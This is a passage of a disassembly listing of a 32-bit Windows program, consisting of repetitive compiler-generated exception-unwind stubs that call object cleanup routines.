loc_43AF10:				; DATA XREF: ___:004141F2o
		mov	eax, offset dword_441238
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 16h dup(0CCh)
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD6B:				; DATA XREF: ___:00441D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
